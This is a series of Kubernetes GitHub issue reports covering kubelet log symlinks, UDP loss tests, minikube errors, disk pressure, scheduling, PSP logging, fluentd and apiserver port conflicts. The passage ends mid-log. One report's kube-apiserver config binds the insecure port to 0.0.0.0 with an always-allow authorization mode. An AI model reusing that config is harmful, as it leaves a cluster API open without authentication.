is this a bug report or feature request?  :\r  \r   what happened  :\r \r i have a transient local disk mounted under /var/lib/docker in order to take advantage of faster io on azure vms. this means that all that data is lost when a reboot occurs, but the rest of the data outside that mountpoint persists. after the reboot, the existing pods are relaunched, and kubelet is unable to create the log file symlinks because they already exist, but they are pointing to an invalid place, that container no longer exists. here are the relevant log lines:\r \r    \r jul 18 09:54:41 node-2-vm kubelet-wrapper 773 : e0718 09:54:41.752901     773 remote_runtime.go:203  startcontainer \ b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35\  from runtime service failed: rpc error: code = 2 desc = failed to create symbolic link \ /var/log/pods/f4c0303476d69c6f78ffd13253de3723/kube-proxy_0.log\  to the container log file \ /var/lib/docker/containers/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35-json.log\  for container \ b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35\ : symlink /var/lib/docker/containers/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35-json.log /var/log/pods/f4c0303476d69c6f78ffd13253de3723/kube-proxy_0.log: file exists\r jul 18 09:54:41 node-2-vm kubelet-wrapper 773 : e0718 09:54:41.752978     773 kuberuntime_manager.go:719  container start failed: rpc error: code = 2 desc = failed to create symbolic link \ /var/log/pods/f4c0303476d69c6f78ffd13253de3723/kube-proxy_0.log\  to the container log file \ /var/lib/docker/containers/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35-json.log\  for container \ b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35\ : symlink /var/lib/docker/containers/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35-json.log /var/log/pods/f4c0303476d69c6f78ffd13253de3723/kube-proxy_0.log: file exists: start container failed\r jul 18 09:54:41 node-2-vm kubelet-wrapper 773 : e0718 09:54:41.753007     773 pod_workers.go:182  error syncing pod f4c0303476d69c6f78ffd13253de3723  \ kube-proxy-node-2-vm_kube-system f4c0303476d69c6f78ffd13253de3723 \  , skipping: failed to \ startcontainer\  for \ kube-proxy\  with rpc error: code = 2 desc = failed to create symbolic link \ /var/log/pods/f4c0303476d69c6f78ffd13253de3723/kube-proxy_0.log\  to the container log file \ /var/lib/docker/containers/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35-json.log\  for container \ b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35\ : symlink /var/lib/docker/containers/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35/b27338f68b9fff70a321f0887bceb45707fe4375e948201c0ea19ac087b64f35-json.log /var/log/pods/f4c0303476d69c6f78ffd13253de3723/kube-proxy_0.log: file exists: \ start container failed\ \r jul 18 09:55:32 node-2-vm kubelet-wrapper 773 : e0718 09:55:32.418162     773 remote_runtime.go:203  startcontainer \ c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424\  from runtime service failed: rpc error: code = 2 desc = failed to create symbolic link \ /var/log/pods/d700822b-6aff-11e7-80e8-000d3a2a0829/omsagent_0.log\  to the container log file \ /var/lib/docker/containers/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424-json.log\  for container \ c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424\ : symlink /var/lib/docker/containers/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424-json.log /var/log/pods/d700822b-6aff-11e7-80e8-000d3a2a0829/omsagent_0.log: file exists\r jul 18 09:55:32 node-2-vm kubelet-wrapper 773 : e0718 09:55:32.418212     773 kuberuntime_manager.go:719  container start failed: rpc error: code = 2 desc = failed to create symbolic link \ /var/log/pods/d700822b-6aff-11e7-80e8-000d3a2a0829/omsagent_0.log\  to the container log file \ /var/lib/docker/containers/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424-json.log\  for container \ c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424\ : symlink /var/lib/docker/containers/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424-json.log /var/log/pods/d700822b-6aff-11e7-80e8-000d3a2a0829/omsagent_0.log: file exists: start container failed\r jul 18 09:55:32 node-2-vm kubelet-wrapper 773 : e0718 09:55:32.418253     773 pod_workers.go:182  error syncing pod d700822b-6aff-11e7-80e8-000d3a2a0829  \ omsagent-8npxv_kube-system d700822b-6aff-11e7-80e8-000d3a2a0829 \  , skipping: failed to \ startcontainer\  for \ omsagent\  with rpc error: code = 2 desc = failed to create symbolic link \ /var/log/pods/d700822b-6aff-11e7-80e8-000d3a2a0829/omsagent_0.log\  to the container log file \ /var/lib/docker/containers/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424-json.log\  for container \ c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424\ : symlink /var/lib/docker/containers/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424/c87d32fd34acbb11486b28a8eaaee2553dd83516c2ebe7552662599046300424-json.log /var/log/pods/d700822b-6aff-11e7-80e8-000d3a2a0829/omsagent_0.log: file exists: \ start container failed\ \r    \r \r the old symlinks are there:\r    \r   ls -l  find /var/log/pods/ -name  .log \r lrwxrwxrwx. 1 root root 165 jul 17 14:56 /var/log/pods/d700822b-6aff-11e7-80e8-000d3a2a0829/omsagent_0.log -> /var/lib/docker/containers/1488f596179a3a6da1b818cc658b975c37aa4346beceef2158af82a89b3de84a/1488f596179a3a6da1b818cc658b975c37aa4346beceef2158af82a89b3de84a-json.log\r lrwxrwxrwx. 1 root root 165 jul 17 14:44 /var/log/pods/f4c0303476d69c6f78ffd13253de3723/kube-proxy_0.log -> /var/lib/docker/containers/8cafac3d554bd13d858a7843aed1f51a02ec125291d89209d9407e31fd2b010b/8cafac3d554bd13d858a7843aed1f51a02ec125291d89209d9407e31fd2b010b-json.log\r    \r \r   what you expected to happen  :\r \r the correct symlinks should overwrite the old ones.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r erase /var/lib/docker between reboots with existing pods.\r \r   anything else we need to know?  :\r \r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+coreos.0\ , gitcommit:\ 8c1bf133b4129042ef8f7d1ffac1be14ee83ed10\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t17:46:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  : azure vms\r - os  e.g. from /etc/os-release : container linux by coreos 1409.6.0  ladybug \r - kernel  e.g.  uname -a  : linux node-2-vm 4.11.9-coreos  1 smp thu jul 6 00:54:42 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux\r - install tools: https://github.com/edevil/kubernetes-deployment\r

is this a bug report or feature request?  : \r \r  \r \r   what happened  :\r the downward api should provide a way to pull the node annotations.\r \r   what you expected to happen  :\r currently the pod annotations are available from the interface, as well as a few pieces of information about the node:\r https://kubernetes.io/docs/tasks/inject-data-application/downward-api-volume-expose-pod-information/\r \r however, the node annotations are not available.\r \r   how to reproduce it  as minimally and precisely as possible   :\r not available.\r \r   anything else we need to know?  :\r no\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0\r - install tools:\r - others:\r

hello. i am trying to characterize udp packet loss i'm observing in a kubernetes 1.7.2 cluster on aws. \r \r   the main questions to you  :  a  is the udp loss rate below what you'd expect?; and  b  why does the loss rate change in response to server scale-ups and scale-downs?\r \r this work started in attempts to debug intermittent dns lookup failures. the dns failure rate has decreased significantly when i moved apps from dnspolicy: clusterfirst to dnspolicy: default but i am still occasionally seeing glitches  still no root cause .\r \r   observing udp packet loss between multiple clients and a udp service  \r \r in essence i'm trying to simulate the kube-dns setup without using kube-dns.\r \r server: a simple udp server that responds to requests.\r \r    \r kubectl run echo --image n0r1skcom/echo --replicas=1 --port=3333 --requests='cpu=100m,memory=50mi' --limits='cpu=100m,memory=50mi' -n kube-system --labels='app=echo'\r kubectl create service clusterip echo --tcp=3333:3333 -n kube-system\r \r   now edit both the deployment and the service to change tcp to udp\r \r   also edit the deployment to add a readiness tcp readiness probe on port 3333  the echo server listens for both tcp and udp on port 3333  and a prestop hook to \ sleep 10\  before shutting down.\r    \r \r client: send a message to the echo server and record whether it responded\r    \r   start client pod  the dnsutils image is just picked for convenience \r kubectl run echoclient$random --image tutum/dnsutils -n kube-system --restart=never  --rm -it -- bash\r \r   run request loop: \r echo requests passes fails; pass=0; fail=0; i=0 ; while true ; do response=$ echo \ ping\  | netcat -u $echo_service_host $echo_service_port -q 1 | grep hostname | wc -l  ; if   $response == \ 0\    ; then fail=$  $fail+1  ; else pass=$  $pass+1  ; fi ; i=$  $i+1   ; echo -en \ $i $pass $fail       \\r\  ; done\r    \r \r this is a bit crude and slow  each netcat session takes ~1 second time expire  but launching enough of these client loops does the trick. i got ~500,000 requests with 14 failures across 7 loops. \r \r setting up a loop to scale the echo server randomly between 1 and 10 replicas every 5 seconds gives an increase in failure rate: 112 errors for about 444,000 requests.\r \r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r observing udp traffic loss.\r \r   what you expected to happen  :\r \r less udp traffic loss. error rate shouldn't change with server scale-up/scale-down events.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-09t07:26:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r - cloud provider or hardware configuration:\r \r aws\r \r - os  e.g. from /etc/os-release :\r \r    \r $ cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r \r    \r $ uname -a\r linux ip-172-20-48-176 4.4.0-1030-aws  39-ubuntu smp wed aug 9 09:43:05 utc 2017 x86_64 x86_64 x86_64 gnu/linu\r    \r \r - install tools:\r \r kops 1.7.x\r \r - others:\r

i am install debian stretch9.3 on vmware exsi 6.0 , and enable the vt-x/amd-v configration on vmware virtual host selection penal. \r according the instruction on  edx course  https://courses.edx.org/courses/course-v1:linuxfoundationx+lfs158x+2t2017/ ,  i am installed virtualbox 5.2 and kublemini 1.9.1.\r when i run the command\r  kubemini start \r \r the host gives such infomation:\r \r > starting local kubernetes v1.8.0 cluster...\r > starting vm...\r > e0113 05:23:22.463374     624 start.go:150  error starting host: error creating host: error executing step: running precreate checks.\r > : this computer doesn't have vt-x/amd-v enabled. enabling it in the bios is mandatory.\r > \r >  retrying.\r > e0113 05:23:22.464566     624 start.go:156  error starting host:  error creating host: error executing step: running precreate checks.\r > : this computer doesn't have vt-x/amd-v enabled. enabling it in the bios is mandatory\r > e0113 05:23:22.555851     624 util.go:151  error uploading error message: : post https://clouderrorreporting.googleapis.com/v1beta1/projects/k8s-minikube/events:report?key=aizasyacuwzg0depcl-eogpdknykoufghdfofua: read tcp 172.26.254.30:48100->172.217.160.106:443: read: connection reset by peer \r @kubernetes sig/cli

 \r   description  :\r on some days i keep getting periods where the node has disk pressure according to kubernetes:\r - attempting to reclaim nodefsinodes\r - node status is now: nodehasdiskpressure\r \r but disks are fine on the node:\r    $ df -h -i\r filesystem     inodes iused ifree iuse% mounted on\r /dev/root         78k   13k   65k   17% /\r devtmpfs         1.9m   236  1.9m    1% /dev\r tmpfs            1.9m     1  1.9m    1% /dev/shm\r tmpfs            1.9m  1.7k  1.9m    1% /run\r tmpfs            1.9m    16  1.9m    1% /sys/fs/cgroup\r tmpfs            1.9m     1  1.9m    1% /mnt/disks\r tmpfs            1.9m    10  1.9m    1% /tmp\r /dev/sda8        4.0k    11  4.0k    1% /usr/share/oem\r /dev/sda1        6.0m  2.3m  3.8m   38% /mnt/stateful_partition\r tmpfs            1.9m    45  1.9m    1% /var/lib/cloud\r overlayfs        1.9m    67  1.9m    1% /etc\r $ df -h \r filesystem      size  used avail use% mounted on\r /dev/root       1.2g  441m  781m  37% /\r devtmpfs        7.4g     0  7.4g   0% /dev\r tmpfs           7.4g     0  7.4g   0% /dev/shm\r tmpfs           7.4g  3.4m  7.4g   1% /run\r tmpfs           7.4g     0  7.4g   0% /sys/fs/cgroup\r tmpfs           256k     0  256k   0% /mnt/disks\r tmpfs           7.4g     0  7.4g   0% /tmp\r /dev/sda8        12m   28k   12m   1% /usr/share/oem\r /dev/sda1        95g   16g   79g  17% /mnt/stateful_partition\r tmpfs           1.0m  124k  900k  13% /var/lib/cloud\r overlayfs       1.0m  144k  880k  15% /etc\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.5-gke.0\r - cloud provider or hardware configuration: google cloud  gke \r - os  e.g. from /etc/os-release : container-optimized os from google version 60\r - kernel  e.g.  uname -a  : 4.4.64+\r \r

is this a bug report or feature request?  :\r  \r   description  :\r \r after  discussion  https://docs.google.com/document/d/1v7hsusmaeimqroagktqb40epbk6jxp1hzgfb9oza_ew/edit  , we agree to let kube-scheduler to schedule daemonset pods instead of daemonset controller. this issue is used to trace all related sub-tasks.\r \r \r design doc: https://github.com/kubernetes/community/pull/1714\r features: https://github.com/kubernetes/features/issues/548\r \r tasks: \r \r -  x  added alpha flag for nodaemonsetscheduler feature.   59630 \r -  x  schedule daemonset pods by default scheduler.   59862 \r -  x  added matchfields to nodeselectorterm.   62002 \r -  x  supported nodeselector.matchfields in scheduler.   62453 \r -  x  ~~got target node name of pending daemonset pod.   61387 ~~\r -  x  schedule daemonset pods in scheduler.   63223 \r -  x  release notes and doc  https://github.com/kubernetes/website/pull/8842 \r \r /cc @bsalamat

is this a bug report or feature request?  :\r   \r   what happened  :\r all  mustrunas  need  ranges  field to be configured but there is no validation for that, so it's possible to create psp without such ranges. later, an admission plugin tries to create providers for every psp available to user/sa and will fail to create it, because there is no ranges:\r \r > i0314 16:00:46.349349     925 admission.go:235  provider creation error: error creating provider for psp restricted2:  mustrunas requires at least one range, mustrunas requires selinuxoptions, ranges must be supplied for mustrunas, ranges must be supplied for mustrunas \r \r the issue is that such misconfiguration is hard to debug -- it's being logged only on 4th log level. so, admin will be able to detect it only if the api server is running with  --v=4  that is a rare case as it's too verbose.\r \r   what you expected to happen  :\r we should log various errors during provider creation in different log levels. the errors that are caused by invalid pod configuration can be logged at level 4, but the errors that are related to invalid psp configuration should be logged at lesser level with higher severity  warning at least .\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create psp with invalid configuration -- set fsgroup, runasuser, selinux, or supplementalgroups to use  mustrunas  strategy but without specifying the ranges\r - grant access to this psp to a service account\r - create a pod under this service account\r - check the api server log for errors\r \r \r @kubernetes/sig-auth-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i started a cluster using docker as the container runtime, and run several pods. i then change the kubelet configuration to use cri-containerd as the container runtime, and restart the kubelet. the pods\r are running, however running    kubectl logs    returns error.\r \r   what you expected to happen  :\r    kubectl logs    should return container logs.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r run some pods in kubernetes, change kubelet configuration to use cri, and check the container logs.\r \r   anything else we need to know?  :\r it seems that the pod still has a symlink to the previous logs file from docker container. if i delete the pod and let them restart, i can get the logs with    kubectl logs   \r \r   environment  :\r - kubernetes version  use  kubectl version  : latest\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

flag name:  experimental-qos-reserved \r \r help text:\r \r a set of resourcename=percentage  e.g. memory=50%  pairs that describe how pod resource requests are reserved at the qos level. currently only memory is supported.  default=none \r \r ---\r \r this is part of migrating the kubelet command-line to a kubernetes-style api.\r \r the  --experimental-qos-reserved  flag should either be migrated to the kubelet's  kubelet.config.k8s.io \r api group, or simply removed from the kubelet.\r \r if this could be considered an instance-specific flag, or a descriptor of local topology\r managed by the kubelet, see: https://github.com/kubernetes/kubernetes/issues/61647.\r \r if this flag is only registered in os-specific builds, see: https://github.com/kubernetes/kubernetes/issues/61649.\r \r as  --experimental-qos-reserved  is an alpha/experimental flag, the feature it configures must either be\r feature-gated, or graduated from alpha/experimental status prior to the migration.\r \r @sig-node-pr-reviews @sig-node-api-reviews\r \r /assign @mtaufen\r   / /milestone v1.11\r /status approved-for-milestone

>  \r i used kubeadm init to deploy kubernetes 1.9.6, then\r i deploy efk on kubernetes 1.9.6, but fluentd-es cannot connect to api server, the logs as below:\r \r 2018-04-18 07:49:06 +0000  error : config error file=\ /etc/fluent/fluent.conf\  error=\ invalid kubernetes api v1 endpoint https://10.96.0.1:443/api: timed out connecting to server\ \r \r fluentd-es-configmap.yaml:\r https://github.com/kubernetes/kubernetes/blob/release-1.9/cluster/addons/fluentd-elasticsearch/fluentd-es-configmap.yaml\r \r fluentd-es-ds.yaml:\r https://github.com/kubernetes/kubernetes/blob/release-1.9/cluster/addons/fluentd-elasticsearch/fluentd-es-ds.yaml\r \r api-server config:\r \r - command:\r     - kube-apiserver\r     - --requestheader-username-headers=x-remote-user\r     - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt\r     - --secure-port=6443\r     - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\r     - --insecure-port=8080\r     - --insecure-bind-address=0.0.0.0\r     - --requestheader-group-headers=x-remote-group\r     - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key\r     - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt\r     - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key\r     - --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt\r     - --allow-privileged=true\r     - --requestheader-extra-headers-prefix=x-remote-extra-\r     - --advertise-address=192.168.61.32\r     - --service-cluster-ip-range=10.96.0.0/12\r     - --service-account-key-file=/etc/kubernetes/pki/sa.pub\r     - --client-ca-file=/etc/kubernetes/pki/ca.crt\r     - --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key\r     - --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,defaulttolerationseconds,noderestriction,resourcequota\r     - --enable-bootstrap-token-auth=true\r     - --kubelet-preferred-address-types=internalip,externalip,hostname\r     - --requestheader-allowed-names=front-proxy-client\r     - --authorization-mode=alwaysallow,node,rbac\r     - --etcd-servers=http://127.0.0.1:2379\r     - --basic-auth-file=/etc/kubernetes/pki/basic_auth.csv\r     - --anonymous-auth=false\r     image: gcr.io/google_containers/kube-apiserver-amd64:v1.9.6\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.6\r - cloud provider or hardware configuration: 3 openstack vm:1 master, 2 worker\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : 3.10.0-693.el7.x86_64\r - install tools:\r - others:\r

i've been receiving email spam since approximately thu, nov 29, 1:18 pm pst from all of our test projects.\r \r the content is pretty much the same for each project, looking something like the following:\r >   subject  :  action required  stackdriver logging export config error\r >\r > the following log sink in a project you own had errors while exporting logs. due to this error, logs are not being exported to the sink destination.\r >\r >   project id  \r > k8s-jkns-f8n-gce-upg\r >   log export sink name  \r > e2e-tests-sd-logging-4zbmr\r >   log export destination  \r > pubsub.googleapis.com/projects/k8s-jkns-f8n-gce-upg/topics/e2e-tests-sd-logging-4zbmr\r >   error code  \r > topic_not_found\r >\r > please fix this error by following steps documented in  troubleshooting logging exports  https://cloud.google.com/logging/docs/export/configure_export_v2 troubleshooting . if the sink is no longer needed, it can be quickly removed using gcloud: gcloud logging sinks delete e2e-tests-sd-logging-4zbmr --project=k8s-jkns-f8n-gce-upg\r \r i'm not sure what caused these emails to start appearing, but i'd like them to stop. : \r \r  

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r <!-- do not edit below this line -->\r \r /triage support\r \r i am now working on an open source project related to kubernetes scheduler. it is actually a kubernetes schedule simulator and helps to tune scheduling performance, validate schedule algorithms and so on. but i found schedule cache and queue is in kubernetes/pkg/scheduler/internal, and i had to copy the codes instead of referencing directly because my simulator is out-of-tree. my question is why schedule cache and queue must be internal and is there a need to implement pluggable out-of-tree schedulers in the future?\r \r any help would be very important. thanks.\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r the  imagepullsecrets  array on  serviceaccounts  does not specify a patch strategy of 'merge', so when you try to 'stategic' or 'merge' patch in a new secret name, any existing secret names all get removed/replaced. it seems like a merge patch strategy would be appropriate for this array, and indeed the  imagepullsecrets  array for  pods  already specifies a merge patch strategy. this seems like an oversight or bug that the  imagepullsecrets  array on  serviceaccounts  is not handled in a consistent and appropriate manner. this is also not consistent with the  secrets  array in  serviceaccounts  which does merge patch strategy.\r \r   what happened  :\r \r when you try to 'stategic' or 'merge' patch to add a new  secret  name in the  imagepullsecrets  list on a  serviceaccount , and existing  secret  name s  get removed/replaced.\r \r   what you expected to happen  :\r \r i expected the  imagepullsecrets  array on  serviceaccounts  to use a merge patch strategy consistent with  imagepullsecrets  array on  pods   which does specify and use a merge patch strategy , and to add the new  secret  name to the  imagepullsecrets  array.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl patch serviceaccount default --type strategic --patch '{\ imagepullsecrets\ : {\ name\ :\ test1\ } }'\r kubectl patch serviceaccount default --type strategic --patch '{\ imagepullsecrets\ : {\ name\ :\ test2\ } }'\r kubectl get serviceaccount default -o yaml\r     \r note that 'test2' has replaced 'test1', rather than being merged into the  imagepullsecrets  list.\r    \r apiversion: v1\r kind: serviceaccount\r metadata:\r   name: default\r   namespace: default\r imagepullsecrets:\r - name: test2\r secrets:\r -name: default-token-abcde\r    \r   anything else we need to know?  :\r \r  imagepullsecrets  in a  podspec  is configured and behaves as expected, merging new secret names into the list.\r \r https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.13/ podspec-v1-core\r    \r imagepullsecrets\r localobjectreference array\r patch strategy: merge\r patch merge key: name\r    \r \r in contrast  imagepullsecrets  in a  serviceaccount  is missing this behavior/specification\r \r https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.13/ serviceaccount-v1-core\r    \r imagepullsecrets\r localobjectreference array\r    \r \r yet the  secrets  array in a  serviceaccount  does have a merge strategy.\r \r https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.13/ serviceaccount-v1-core\r    \r secrets\r objectreference array\r patch strategy: merge\r patch merge key: name\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.4\ , gitcommit:\ f49fa022dbe63faafd0da106ef7e05a29721d3f1\ , gittreestate:\ clean\ , builddate:\ 2018-12-14t07:10:00z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.5-gke.5\ , gitcommit:\ 9aba9c1237d9d2347bef28652b93b1cba3aca6d8\ , gittreestate:\ clean\ , builddate:\ 2018-12-11t02:36:50z\ , goversion:\ go1.10.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : gce cos\r - kernel  e.g.  uname -a  : gce cos  linux 4.14.65+  1 smp thu oct 25 10:42:50 pdt 2018 x86_64  gnu/linux\r - install tools: gce\r - others: n/a\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i run the kube-api server as a pod from a yaml file the kubelet manifests directory.\r i configured it to run on the bridge network by setting  hostnetwork: false , and i have port mapping from host's 6443 to containers 6443.\r when updating this file, the pod could not be recreated.\r in fact i can see many pause containers created, and being removed for that pod.\r in the kubelet logs i can see those messages correlated with the pause containers creation:\r > createpodsandbox for pod \ kube-apiserver-mykubehost3.mycompany.com_kube-system e447570a11168f7cb144ce1c48aee69f \  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-apiserver-mykubehost3.mycompany.com\ : error response from daemon: address already in use\r \r > error syncing pod e447570a11168f7cb144ce1c48aee69f  \ kube-apiserver-mykubehost3.mycompany.com_kube-system e447570a11168f7cb144ce1c48aee69f \  , skipping: failed to \ createpodsandbox\  for \ kube-apiserver-mykubehost3.mycompany.com_kube-system e447570a11168f7cb144ce1c48aee69f \  with createpodsandboxerror: \ createpodsandbox for pod \\\ kube-apiserver-mykubehost3.mycompany.com_kube-system e447570a11168f7cb144ce1c48aee69f \\\  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \\\ kube-apiserver-mykubehost3.mycompany.com\\\ : error response from daemon: address already in use\ \r \r when trying to pinpoint the issue, the simplest example to see the issue is when restarting a working pause container:\r    \r   docker ps | grep api\r e592e679f351        gcr.io/google_containers/kube-apiserver-amd64                     \ kube-apiserver --ap…\    8 minutes ago       up 8 minutes                                 k8s_kube-apiserver_kube-apiserver-mykubehost3.mycompany.com_kube-system_e447570a11168f7cb144ce1c48aee69f_0\r d25ca108c6b7        k8s.gcr.io/pause:3.1                                              \ /pause\                  8 minutes ago       up 8 minutes        0.0.0.0:6443->6443/tcp   k8s_pod_kube-apiserver-mykubehost3.mycompany.com_kube-system_e447570a11168f7cb144ce1c48aee69f_0\r   docker restart d25ca108c6b7\r error response from daemon: cannot restart container d25ca108c6b7: address already in use\r    \r \r \r it created the following log lines in the for kubelet:\r > <30>mar 19 08:02:43 mykubehost3 kubelet 89518 : e0319 08:02:43.743872   89518 reflector.go:322  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to watch  v1.service: get https://1.2.3.4:6443/api/v1/services?resourceversion=17119393&timeoutseconds=430&watch=true: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:43 mykubehost3 kubelet 89518 : e0319 08:02:43.743872   89518 reflector.go:322  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to watch  v1.node: get https://1.2.3.4:6443/api/v1/nodes?fieldselector=metadata.name%3dmykubehost3.mycompany.com&resourceversion=17120323&timeoutseconds=373&watch=true: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:43 mykubehost3 kubelet 89518 : e0319 08:02:43.743872   89518 reflector.go:322  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to watch  v1.pod: get https://1.2.3.4:6443/api/v1/pods?fieldselector=spec.nodename%3dmykubehost3.mycompany.com&resourceversion=17119518&timeoutseconds=548&watch=true: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:44 mykubehost3 kubelet 89518 : e0319 08:02:44.744447   89518 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://1.2.3.4:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:44 mykubehost3 kubelet 89518 : e0319 08:02:44.745270   89518 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get 